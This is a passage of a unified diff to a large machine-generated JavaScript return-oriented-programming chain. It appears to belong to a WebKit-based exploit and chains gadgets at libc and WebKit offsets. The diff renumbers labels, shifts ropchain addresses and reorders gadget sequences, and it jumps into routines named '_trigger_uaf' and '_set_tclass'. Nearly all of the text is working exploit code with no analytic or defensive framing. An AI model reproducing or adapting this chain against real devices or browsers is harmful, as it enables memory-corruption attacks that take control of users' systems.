set_gadget(libc_base+788575,); //pop rax -//L6278: +//L6020: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+332984, //L6280 +ropchain+328616, //L6022 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L6279: +//L6021: db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L6280: +//L6022: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+333056, //L6282 +ropchain+328688, //L6024 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L6281: +//L6023: db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L6282: +//L6024: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L6283: -db([4294967256, 4294967295]); // -0x28 -set_gadget(libc_base+792472,); //pop rcx -//L6285: +//L6025: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L6026: +db([4294967256, 4294967295]); // -0x28 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+333208, //L6288 +ropchain+328840, //L6030 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+333192, //L6287 +ropchain+328824, //L6028 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6287: +//L6028: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6288: +//L6030: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+333376, //L6291 +ropchain+329008, //L6033 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+333392, //L6292 +ropchain+329024, //L6034 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+333344, //L6289 +ropchain+328992, //L6031 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+333360, //L6290 +ropchain+328976, //L6032 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6289: +//L6032: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L6290: +//L6031: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6291: +//L6033: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6292: +//L6034: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+333496, //L6295 +ropchain+329112, //L6035 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+333512, //L6296 +ropchain+329144, //L6038 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi -]); -//L6293: -db([4294965180, 4294967295]); // -0x844 -set_gadget(libc_base+792472,); //pop rcx -//L6295: +libc_base+792472 //pop rcx +]); +//L6035: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L6036: +db([4294965180, 4294967295]); // -0x844 set_gadget(libc_base+206806,); //pop rdi -//L6296: +//L6038: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi @@ -45600,115 +44671,115 @@ webkit_base+954100, //mov [rax], ecx libc_base+759626, //mov rax, r8 libc_base+793877 //pop rsi ]); -//L6297: +//L6039: db([4294967260, 4294967295]); // -0x24 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+333656, //L6301 +ropchain+329288, //L6043 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+333640, //L6300 +ropchain+329272, //L6041 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6300: +//L6041: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6301: +//L6043: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+333824, //L6304 +ropchain+329456, //L6046 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+333840, //L6305 +ropchain+329472, //L6047 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+333792, //L6302 +ropchain+329440, //L6044 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+333808, //L6303 +ropchain+329424, //L6045 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6302: +//L6045: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L6303: +//L6044: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6304: +//L6046: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6305: +//L6047: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+333944, //L6308 +ropchain+329560, //L6048 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+333960, //L6309 +ropchain+329592, //L6051 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L6306: -db([4294965184, 4294967295]); // -0x840 -set_gadget(libc_base+792472,); //pop rcx -//L6308: +//L6048: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L6049: +db([4294965184, 4294967295]); // -0x840 set_gadget(libc_base+206806,); //pop rdi -//L6309: +//L6051: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+954100, //mov [rax], ecx libc_base+793877, //pop rsi -ropchain+334040, //L6312 +ropchain+329656, //L6052 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L6310: -db([4294965208, 4294967295]); // -0x828 -set_gadget(libc_base+792472,); //pop rcx -//L6312: +//L6052: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L6053: +db([4294965208, 4294967295]); // -0x828 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+334112, //L6315 +ropchain+329728, //L6055 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L6313: -db([4294965188, 4294967295]); // -0x83c -set_gadget(libc_base+792472,); //pop rcx -//L6315: +//L6055: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L6056: +db([4294965192, 4294967295]); // -0x838 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+2997875, //mov [rax], rcx libc_base+793877, //pop rsi -ropchain+334192, //L6318 +ropchain+329808, //L6058 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L6316: -db([4294965164, 4294967295]); // -0x854 -set_gadget(libc_base+792472,); //pop rcx -//L6318: +//L6058: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L6059: +db([4294965168, 4294967295]); // -0x850 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877 //pop rsi @@ -45718,35 +44789,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L6320: -ropchain+334304, //L6319 -libc_base+793877 //pop rsi -]); -db([8, 0]); // 0x8 -set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+471355, //mov [rdi], rax -libc_base+811575, //pop rsp -ropchain+222952, //_trigger_uaf -//L6319: -libc_base+882884, //mov rax, rcx -libc_base+793877 //pop rsi -]); -db([4294967288, 4294967295]); // -0x8 -set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+788575, //pop rax -//L6322: -ropchain+398144, //L6321 -libc_base+793877 //pop rsi -]); -db([8, 0]); // 0x8 -set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+471355, //mov [rdi], rax -libc_base+788575, //pop rax -//L6324: -ropchain+334448, //L6323 +//L6062: +ropchain+329936, //L6061 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -45754,8 +44798,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+160280, //_printf_ -//L6323: +ropchain+222488, //_trigger_uaf +//L6061: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -45764,7 +44808,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+788575 //pop rax ]); -//L6325: +//L6063: db([66, 0]); // 0x42 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -45772,77 +44816,77 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+334584, //L6328 +ropchain+330056, //L6064 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L6326: -db([4294967256, 4294967295]); // -0x28 -set_gadget(libc_base+792472,); //pop rcx -//L6328: +//L6064: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L6065: +db([4294965180, 4294967295]); // -0x844 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+334688, //L6331 +ropchain+330176, //L6069 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+334672, //L6330 +ropchain+330160, //L6067 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6330: +//L6067: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6331: +//L6069: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+334856, //L6334 +ropchain+330344, //L6072 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+334872, //L6335 +ropchain+330360, //L6073 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+334824, //L6332 +ropchain+330328, //L6070 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+334840, //L6333 +ropchain+330312, //L6071 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6332: +//L6071: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L6333: +//L6070: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6334: +//L6072: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6335: +//L6073: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+334968, //L6337 +ropchain+330456, //L6075 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+334952, //L6336 +ropchain+330440, //L6074 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L6336: +//L6074: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6337: +//L6075: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -45850,8 +44894,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L6339: -ropchain+335072, //L6338 +//L6077: +ropchain+330560, //L6076 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -45859,8 +44903,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+186040, //_set_tclass -//L6338: +ropchain+185576, //_set_tclass +//L6076: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -45869,14 +44913,14 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+335160, //L6341 +ropchain+330632, //L6078 webkit_base+7438103, //mov [rsi], rax -libc_base+788575 //pop rax +libc_base+792472 //pop rcx ]); -//L6340: +//L6078: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L6341: +set_gadget(libc_base+788575,); //pop rax +//L6079: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -45885,10 +44929,10 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+792472 //pop rcx ]); -//L6342: +//L6080: db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L6343: +//L6081: db([1, 0]); // 0x1 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -45899,138 +44943,138 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+877175, //sub rax, rcx ; sbb rdx, rcx libc_base+793877, //pop rsi -ropchain+335328, //L6346 +ropchain+330800, //L6082 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L6344: -db([4294965160, 4294967295]); // -0x858 -set_gadget(libc_base+792472,); //pop rcx -//L6346: +//L6082: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L6083: +db([4294965164, 4294967295]); // -0x854 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+954100, //mov [rax], ecx libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L6347: -db([4294965156, 4294967295]); // -0x85c -set_gadget(libc_base+792472,); //pop rcx -//L6349: +//L6085: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L6086: +db([4294965160, 4294967295]); // -0x858 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+335448, //L6351 +ropchain+330936, //L6089 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L6350: +//L6088: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6351: +//L6089: db([0, 0]); // 0x0 set_gadgets([ webkit_base+954100, //mov [rax], ecx libc_base+793877, //pop rsi -ropchain+335504, //L6354 +ropchain+330992, //L6091 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6354: +//L6091: db([0, 0]); // 0x0 -//L6352: +//L6090: set_gadgets([ libc_base+793877, //pop rsi -ropchain+335568, //L6357 +ropchain+331040, //L6093 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L6355: -db([4294965156, 4294967295]); // -0x85c -set_gadget(libc_base+792472,); //pop rcx -//L6357: +//L6093: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L6094: +db([4294965160, 4294967295]); // -0x858 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+335672, //L6360 +ropchain+331160, //L6098 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+335656, //L6359 +ropchain+331144, //L6096 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6359: +//L6096: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6360: +//L6098: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+335840, //L6363 +ropchain+331328, //L6101 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+335856, //L6364 +ropchain+331344, //L6102 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+335808, //L6361 +ropchain+331312, //L6099 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+335824, //L6362 +ropchain+331296, //L6100 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6361: +//L6100: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L6362: +//L6099: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6363: +//L6101: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6364: +//L6102: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+335928, //L6365 +ropchain+331416, //L6103 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+335944, //L6366 +ropchain+331432, //L6104 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L6365: +//L6103: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6366: +//L6104: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+336040, //L6368 +ropchain+331528, //L6106 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+336024, //L6367 +ropchain+331512, //L6105 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L6367: +//L6105: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6368: +//L6106: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -46039,39 +45083,39 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+336120, //L6370 +ropchain+331608, //L6107 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6370: +//L6107: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6369: +//L6108: db([512, 0]); // 0x200 set_gadget(libc_base+206806,); //pop rdi -//L6371: +//L6109: db([512, 0]); // 0x200 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+336256, //L6372 +ropchain+331744, //L6110 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+336288, //L6374 +ropchain+331776, //L6112 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+336272, //L6373 +ropchain+331760, //L6111 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L6372: +//L6110: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6373: +//L6111: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6374: +//L6112: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -46084,110 +45128,147 @@ webkit_base+14959219, //cmp rax, rcx ; sete al webkit_base+48555, //setl al libc_base+269973, //movzx eax, al libc_base+793877, //pop rsi -ropchain+336456, //L6376 +ropchain+331944, //L6114 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+336472, //L6377 +ropchain+331960, //L6115 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+336440, //L6375 +ropchain+331928, //L6113 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6375: +//L6113: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6376: +//L6114: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6377: +//L6115: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+336576, //L6380 +ropchain+332064, //L6118 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+336624, //L6382 +ropchain+332112, //L6120 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+336608, //L6381 +ropchain+332096, //L6119 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6380: +//L6118: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -//L6379: +//L6117: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6381: +//L6119: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6382: +//L6120: db([0, 0]); // 0x0 set_gadgets([ webkit_base+11676600, //cmp rax, rsi ; sete al libc_base+269973, //movzx eax, al webkit_base+414627, //shl rax, 3 libc_base+793877, //pop rsi -ropchain+336736, //L6383+8 +ropchain+332224, //L6121+8 libc_base+547636, //add rax, rsi libc_base+186490, //mov rax, [rax] libc_base+793877, //pop rsi -ropchain+336728, //L6383 +ropchain+332216, //L6121 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+811575 //pop rsp ]); -//L6383: +//L6121: db([0, 0]); // 0x0 set_gadgets([ -ropchain+336752, //L6383+24 -ropchain+336768, //L6378 +ropchain+332240, //L6121+24 +ropchain+332256, //L6116 libc_base+811575, //pop rsp -ropchain+336784, //L6384 -//L6378: +ropchain+332272, //L6122 +//L6116: libc_base+811575, //pop rsp -ropchain+340672, //L6385 -//L6384: -libc_base+759626, //mov rax, r8 +ropchain+336400, //L6123 +//L6122: libc_base+793877, //pop rsi -ropchain+336840, //L6387 +ropchain+332312, //L6124 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+759626, //mov rax, r8 +libc_base+792472 //pop rcx ]); -//L6386: -db([4294965208, 4294967295]); // -0x828 -set_gadget(libc_base+788575,); //pop rax -//L6387: +//L6124: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L6125: +db([4294965192, 4294967295]); // -0x838 set_gadgets([ libc_base+547636, //add rax, rsi -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+332432, //L6129 +webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+332416, //L6127 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx +]); +//L6127: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L6129: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+191168, //mov rax, [rdi] +libc_base+793877, //pop rsi +ropchain+332576, //L6132 +webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+332544, //L6130 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+332560, //L6131 +webkit_base+7438103, //mov [rsi], rax +libc_base+792472 //pop rcx ]); +//L6130: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L6131: +db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L6132: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+336920, //L6388 +ropchain+332648, //L6133 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6388: +//L6133: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+336976, //L6391 +ropchain+332704, //L6135 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6391: +//L6135: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -46195,102 +45276,102 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+337072, //L6394 +ropchain+332784, //L6137 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L6392: -db([4294965156, 4294967295]); // -0x85c -set_gadget(libc_base+792472,); //pop rcx -//L6394: +//L6137: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L6138: +db([4294965160, 4294967295]); // -0x858 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+337176, //L6397 +ropchain+332904, //L6142 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+337160, //L6396 +ropchain+332888, //L6140 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6396: +//L6140: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6397: +//L6142: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+337344, //L6400 +ropchain+333072, //L6145 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+337360, //L6401 +ropchain+333088, //L6146 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+337312, //L6398 +ropchain+333056, //L6143 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+337328, //L6399 +ropchain+333040, //L6144 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6398: +//L6144: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L6399: +//L6143: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6400: +//L6145: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6401: +//L6146: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+337520, //L6405 +ropchain+333248, //L6150 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+337472, //L6402 +ropchain+333200, //L6148 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+337504, //L6404 +ropchain+333232, //L6149 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6402: +//L6148: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L6403: +//L6147: db([4, 0]); // 0x4 set_gadget(libc_base+206806,); //pop rdi -//L6404: +//L6149: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6405: +//L6150: db([0, 0]); // 0x0 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+337592, //L6406 +ropchain+333320, //L6151 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+337608, //L6407 +ropchain+333336, //L6152 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L6406: +//L6151: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6407: +//L6152: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -46301,106 +45382,106 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+337696, //L6408 +ropchain+333424, //L6153 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6408: +//L6153: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+337752, //L6411 +ropchain+333480, //L6155 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6411: +//L6155: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ 